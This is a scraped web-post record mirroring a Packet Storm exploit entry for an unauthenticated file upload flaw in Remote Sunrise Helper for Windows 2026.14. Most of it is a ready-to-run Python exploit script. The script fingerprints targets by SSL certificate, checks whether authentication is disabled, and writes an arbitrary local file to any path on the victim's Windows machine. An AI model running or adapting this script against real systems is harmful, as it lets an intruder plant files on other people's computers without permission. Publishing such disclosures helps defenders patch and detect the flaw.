{“lastseen”:”2026-04-20T15:44:07″,”description”:”Remote Sunrise Helper for Windows version 2026.14 suffers from an unauthenticated file upload vulnerability…”,”published”:”2026-04-20T00:00:00″,”modified”:”2026-04-20T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Remote Sunrise Helper for Windows 2026.14 File Upload”,”source”:””,”references”:””,”id”:”PACKETSTORM:219234″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”#!\/usr\/bin\/env python3\\n # Exploit Title: Remote Sunrise Helper for Windows 2026.14 -\\n Unauthenticated File Upload\\n # Date: 2026-04-20\\n # Exploit Author: Chokri Hammedi\\n # Software: https:\/\/rs.ltd\/latest.php?os=win\\n # Vendor: https:\/\/rs.ltd\/\\n # Version: 2026.14\\n # Tested on: Windows 10 \/ Windows 11\\n #\\n # Identification:\\n # nmap -p- -T4 \\u003ctarget\\u003e –script ssl-cert\\n # Look for SSL cert with subject: CN=SecureHTTPServer\/O=Evgeny Cherpak\/C=US\\n \\n import requests, json, sys, urllib3, os, uuid\\n urllib3.disable_warnings()\\n \\n if len(sys.argv) \\u003c 5:\\n print(f\\”Usage: {sys.argv[0]} \\u003ctarget_ip\\u003e \\u003capi_port\\u003e \\u003clocal_file\\u003e\\n \\u003cremote_path\\u003e\\”)\\n print(f\\”Example: {sys.argv[0]} 192.168.1.103 49737 payload.txt\\n ‘C:\/Users\/Public\/pwned.txt’\\”)\\n sys.exit(1)\\n \\n target = sys.argv[1]\\n api_port = sys.argv[2]\\n local_file = sys.argv[3]\\n remote_path = sys.argv[4]\\n url = f\\”https:\/\/{target}:{api_port}\\”\\n headers = {\\”X-HostName\\”: \\”a\\”, \\”X-ClientToken\\”: \\”a\\”, \\”X-HostFullModel\\”: \\”a\\”}\\n \\n try:\\n r = requests.get(f\\”{url}\/api\/getVersion\\”, verify=False, timeout=5)\\n data = r.json()\\n \\n if data.get(\\”requires.auth\\”) == False:\\n http_port = data.get(\\”http.port\\”)\\n print(f\\”[+] VULNERABLE – {target}\\”)\\n print(f\\” Host: {data.get(‘host.name’)} | OS:\\n {data.get(‘win.version’)}\\”)\\n print(f\\” HTTP Port: {http_port}\\”)\\n \\n file_id = str(uuid.uuid4()).replace(\\”-\\”, \\”\\”)[:10]\\n \\n r = requests.get(f\\”{url}\/api\/createFile={remote_path}\\”,\\n headers={**headers, \\”X-File-ID\\”: file_id},\\n verify=False)\\n \\n if r.status_code == 200:\\n with open(local_file, ‘rb’) as f:\\n content = f.read()\\n r2 = requests.put(f\\”http:\/\/{target}:{http_port}\/api\/upload\\”,\\n headers={\\”X-File-ID\\”: file_id},\\n data=content)\\n \\n if r2.status_code == 200:\\n print(f\\”[+] File uploaded: {remote_path}\\”)\\n else:\\n print(f\\”[-] Upload failed\\”)\\n else:\\n print(f\\”[-] Create failed\\”)\\n else:\\n print(f\\”[*] Not vulnerable – authentication required\\”)\\n \\n except Exception as e:\\n print(f\\”[-] Error: {e}\\”)”,”sourceHref”:”https:\/\/packetstorm.news\/download\/219234″,”cvss”:{“score”:0,”severity”:”NONE”,”vector”:”NONE”,”version”:”NONE”},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/219234\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-04-20T15:44:07″,”description”:”Remote Sunrise Helper for Windows version 2026.14 suffers from an unauthenticated file upload vulnerability…”,”published”:”2026-04-20T00:00:00″,”modified”:”2026-04-20T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Remote Sunrise Helper for Windows 2026.14 File Upload”,”source”:””,”references”:””,”id”:”PACKETSTORM:219234″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[],”sourceData”:”#!\/usr\/bin\/env python3\\n # Exploit…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-48072","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n